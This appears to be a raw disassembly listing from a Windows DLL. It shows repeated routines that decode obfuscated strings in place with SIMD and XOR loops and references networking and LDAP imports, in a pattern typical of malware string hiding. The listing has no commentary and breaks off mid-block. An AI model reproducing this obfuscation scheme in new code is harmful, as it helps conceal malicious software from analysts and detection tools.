lea rdx, [rbp + 0x1400]
jmp 0x18008c521
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.uAQ_WS_9pi]
mov qword [rbp + 0x4b0], rax
je 0x18008aca0
cmp r12d, 2
jl 0x18008ac64
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4b0]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x4b0], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4b4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4b4], xmm2
jmp 0x18008aca0
lea r9, [rbp + 0x4b0]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008ac70
lea rax, [rbp + 0x4b0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008acb0
lea rdx, [rbp + 0x4b0]
jmp 0x18008c521
mov eax, dword [0x1801b7408]
mov r8, r13
movzx ecx, word [0x1801b740c]
mov dword [rbp + 0x1d8], eax
movzx eax, byte [0x1801b740e]
xor byte [rbp + 0x1d9], 0x33
xor byte [rbp + 0x1da], 0x34
xor byte [rbp + 0x1db], 0x35
mov word [rbp + 0x1dc], cx
xor cl, 0x36
xor byte [rbp + 0x1dd], 0x37
xor al, 0x38
mov byte [rbp + 0x1d8], 0x42
mov byte [rbp + 0x1de], al
lea rax, [rbp + 0x1d8]
mov byte [rbp + 0x1dc], cl
inc r8
cmp byte [rax + r8], sil
jne 0x18008ad24
lea rdx, [rbp + 0x1d8]
jmp 0x18008c521
movzx eax, byte [0x1801b7420]
mov r8d, esi
mov byte [rbp + 0x1ff0], al
movups xmm0, xmmword [0x1801b7410]
movups xmmword [rbp + 0x1fe0], xmm0
cmp r12d, 2
jl 0x18008ae71
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1fe4]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008ad80
cmp r8d, 0x11
jge 0x18008aeb0
movsxd rax, r8d
lea r9, [rbp + 0x1fe0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18008ae80
lea rax, [rbp + 0x1fe0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008aec0
lea rdx, [rbp + 0x1fe0]
jmp 0x18008c521
cmp byte [0x1801b7433], sil
movsd xmm0, qword [str.aG_V_N]
mov eax, dword [0x1801b7430]
movsd qword [rbp + 0x1410], xmm0
mov dword [rbp + 0x1418], eax
je 0x18008b030
mov r8d, esi
cmp r12d, 2
jl 0x18008afe9
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.aG_V_N]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1410], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1414]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1414], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1410]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008b000
lea rax, [rbp + 0x1410]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b040
lea rdx, [rbp + 0x1410]
jmp 0x18008c521
movups xmm0, xmmword [str.bA_M_ZQMCeqTPZ3Aa__BTVTUI_]
movups xmmword [rbp + 0x1ea0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008b1d0
cmp r12d, 2
jl 0x18008b18b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1ea4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008b0a0
jmp 0x18008b1d0
lea r9, [rbp + 0x1ea0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008b1a0
lea rax, [rbp + 0x1ea0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b1e0
lea rdx, [rbp + 0x1ea0]
jmp 0x18008c521
cmp byte [0x1801b7451], sil
movsd xmm0, qword [0x1801b7448]
movzx eax, word [0x1801b7450]
movsd qword [rbp + 0x1100], xmm0
mov word [rbp + 0x1108], ax
je 0x18008b262
xor byte [rbp + 0x1101], 0x33
xor byte [rbp + 0x1102], 0x34
xor byte [rbp + 0x1103], 0x35
xor byte [rbp + 0x1104], 0x36
xor byte [rbp + 0x1105], 0x37
xor byte [rbp + 0x1106], 0x38
xor byte [rbp + 0x1107], 0x39
xor byte [rbp + 0x1108], 0x3a
xor byte [rbp + 0x1109], 0x3b
mov byte [rbp + 0x1100], 0x53
lea rax, [rbp + 0x1100]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b270
lea rdx, [rbp + 0x1100]
jmp 0x18008c521
movzx ecx, word [0x1801b7460]
mov r8, r13
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [0x1801b7458]
movsd qword [rbp + 0x1310], xmm0
xor byte [rbp + 0x1311], 0x33
xor byte [rbp + 0x1312], 0x34
xor byte [rbp + 0x1313], 0x35
xor byte [rbp + 0x1314], 0x36
xor byte [rbp + 0x1315], 0x37
xor byte [rbp + 0x1316], 0x38
xor byte [rbp + 0x1317], 0x39
mov word [rbp + 0x1318], cx
xor cl, 0x3a
xor byte [rbp + 0x1319], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1310], 0x50
mov byte [rbp + 0x131a], al
lea rax, [rbp + 0x1310]
mov byte [rbp + 0x1318], cl
inc r8
cmp byte [rax + r8], sil
jne 0x18008b304
lea rdx, [rbp + 0x1310]
jmp 0x18008c521
movzx eax, byte [0x1801b7470]
mov r8, r13
movsd xmm0, qword [str.pRGPTVTU:]
movsd qword [rbp + 0xe30], xmm0
xor byte [rbp + 0xe31], 0x33
xor byte [rbp + 0xe32], 0x34
xor byte [rbp + 0xe33], 0x35
xor byte [rbp + 0xe34], 0x36
xor byte [rbp + 0xe35], 0x37
xor byte [rbp + 0xe36], 0x38
xor byte [rbp + 0xe37], 0x39
xor al, 0x3a
mov byte [rbp + 0xe30], 0x42
mov byte [rbp + 0xe38], al
lea rax, [rbp + 0xe30]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b380
lea rdx, [rbp + 0xe30]
jmp 0x18008c521
mov eax, dword [0x1801b7488]
mov r8d, esi
mov dword [rbp + 0x2560], eax
movzx eax, word [0x1801b748c]
mov word [rbp + 0x2564], ax
movzx eax, byte [0x1801b748e]
mov byte [rbp + 0x2566], al
movups xmm0, xmmword [str.s__GB_]
movups xmmword [rbp + 0x2550], xmm0
cmp r12d, 2
jl 0x18008b4e1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2554]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008b3f0
cmp r8d, 0x17
jge 0x18008b520
movsxd rax, r8d
lea r9, [rbp + 0x2550]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x18008b4f0
lea rax, [rbp + 0x2550]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b530
lea rdx, [rbp + 0x2550]
jmp 0x18008c521
mov eax, dword [0x1801b7498]
mov r8d, esi
movsd xmm0, qword [str.pRGPTVTU]
mov dword [rbp + 0x1838], eax
movzx eax, byte [0x1801b749c]
mov byte [rbp + 0x183c], al
movsd qword [rbp + 0x1830], xmm0
cmp r12d, 2
jl 0x18008b659
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pRGPTVTU]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1830], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1834]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1834], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1830]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008b670
lea rax, [rbp + 0x1830]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b6b0
lea rdx, [rbp + 0x1830]
jmp 0x18008c521
cmp byte [0x1801b74ad], sil
mov eax, dword [0x1801b74a8]
movsd xmm0, qword [str.pA_SY]
mov dword [rbp + 0x1aa8], eax
movzx eax, word [0x1801b74ac]
mov word [rbp + 0x1aac], ax
movsd qword [rbp + 0x1aa0], xmm0
je 0x18008b830
mov r8d, esi
cmp r12d, 2
jl 0x18008b7e7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pA_SY]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1aa0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1aa4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1aa4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1aa0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008b800
lea rax, [rbp + 0x1aa0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b840
lea rdx, [rbp + 0x1aa0]
jmp 0x18008c521
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.qA_BTVJ9t_UF_QRO_]
mov qword [rbp + 0x4b8], rax
je 0x18008b990
cmp r12d, 2
jl 0x18008b954
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4b8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x4b8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4bc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4bc], xmm2
jmp 0x18008b990
lea r9, [rbp + 0x4b8]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008b960
lea rax, [rbp + 0x4b8]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008b9a0
lea rdx, [rbp + 0x4b8]
jmp 0x18008c521
movzx ecx, word [0x1801b74c0]
mov r8, r13
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [0x1801b74b8]
movsd qword [rbp + 0x1320], xmm0
xor byte [rbp + 0x1321], 0x33
xor byte [rbp + 0x1322], 0x34
xor byte [rbp + 0x1323], 0x35
xor byte [rbp + 0x1324], 0x36
xor byte [rbp + 0x1325], 0x37
xor byte [rbp + 0x1326], 0x38
xor byte [rbp + 0x1327], 0x39
mov word [rbp + 0x1328], cx
xor cl, 0x3a
xor byte [rbp + 0x1329], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1320], 0x46
mov byte [rbp + 0x132a], al
lea rax, [rbp + 0x1320]
mov byte [rbp + 0x1328], cl
inc r8
cmp byte [rax + r8], sil
jne 0x18008ba34
lea rdx, [rbp + 0x1320]
jmp 0x18008c521
cmp byte [0x1801b74d1], sil
movsd xmm0, qword [str.uXS]
movzx eax, word [0x1801b74d0]
movsd qword [rbp + 0x1110], xmm0
mov word [rbp + 0x1118], ax
je 0x18008bab6
xor byte [rbp + 0x1111], 0x33
xor byte [rbp + 0x1112], 0x34
xor byte [rbp + 0x1113], 0x35
xor byte [rbp + 0x1114], 0x36
xor byte [rbp + 0x1115], 0x37
xor byte [rbp + 0x1116], 0x38
xor byte [rbp + 0x1117], 0x39
xor byte [rbp + 0x1118], 0x3a
xor byte [rbp + 0x1119], 0x3b
mov byte [rbp + 0x1110], 0x47
lea rax, [rbp + 0x1110]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x18008bac0
lea rdx, [rbp + 0x1110]
jmp 0x18008c521
mov eax, dword [str.zRYXSE8]
mov r8, r13
movzx ecx, word [0x1801b74d8]
mov dword [rbp + 0x1e0], eax
movzx eax, byte [0x1801b74da]
xor byte [rbp + 0x1e1], 0x33
xor byte [rbp + 0x1e2], 0x34
xor byte [rbp + 0x1e3], 0x35
mov word [rbp + 0x1e4], cx
xor cl, 0x36
xor byte [rbp + 0x1e5], 0x37
xor al, 0x38
mov byte [rbp + 0x1e0], 0x48
mov byte [rbp + 0x1e6], al
lea rax, [rbp + 0x1e0]
mov byte [rbp + 0x1e4], cl
inc r8
cmp byte [rax + r8], sil
jne 0x18008bb34
lea rdx, [rbp + 0x1e0]
jmp 0x18008c521
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.zR_VRL9pAUFE]
mov qword [rbp + 0x4c0], rax
je 0x18008bc90
cmp r12d, 2
jl 0x18008bc48
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4c0]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x4c0], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4c4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4c4], xmm2
jmp 0x18008bc90
lea r9, [rbp + 0x4c0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008bc60
lea rax, [rbp + 0x4c0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008bca0
lea rdx, [rbp + 0x4c0]
jmp 0x18008c521
mov eax, dword [0x1801b74f0]
mov r8d, esi
movsd xmm0, qword [0x1801b74e8]
mov dword [rbp + 0x1b28], eax
movzx eax, word [0x1801b74f4]
mov word [rbp + 0x1b2c], ax
movzx eax, byte [0x1801b74f6]
mov byte [rbp + 0x1b2e], al
movsd qword [rbp + 0x1b20], xmm0
cmp r12d, 2
jl 0x18008bdd7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b74e8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b20], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b24]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b20]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008bdf0
lea rax, [rbp + 0x1b20]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008be30
lea rdx, [rbp + 0x1b20]
jmp 0x18008c521
mov eax, dword [str.y__SS7]
mov r8, r13
mov dword [rbp + 0xe8], eax
movzx eax, word [0x1801b74fc]
xor byte [rbp + 0xe9], 0x33
xor byte [rbp + 0xea], 0x34
xor byte [rbp + 0xeb], 0x35
mov word [rbp + 0xec], ax
xor al, 0x36
xor byte [rbp + 0xed], 0x37
mov byte [rbp + 0xec], al
lea rax, [rbp + 0xe8]
mov byte [rbp + 0xe8], Ordinal_79
inc r8
cmp byte [rax + r8], sil
jne 0x18008be94
lea rdx, [rbp + 0xe8]
jmp 0x18008c521
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [0x1801b7500]
mov qword [rbp + 0x4c8], rax
je 0x18008bff0
cmp r12d, 2
jl 0x18008bfa8
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4c8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x4c8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
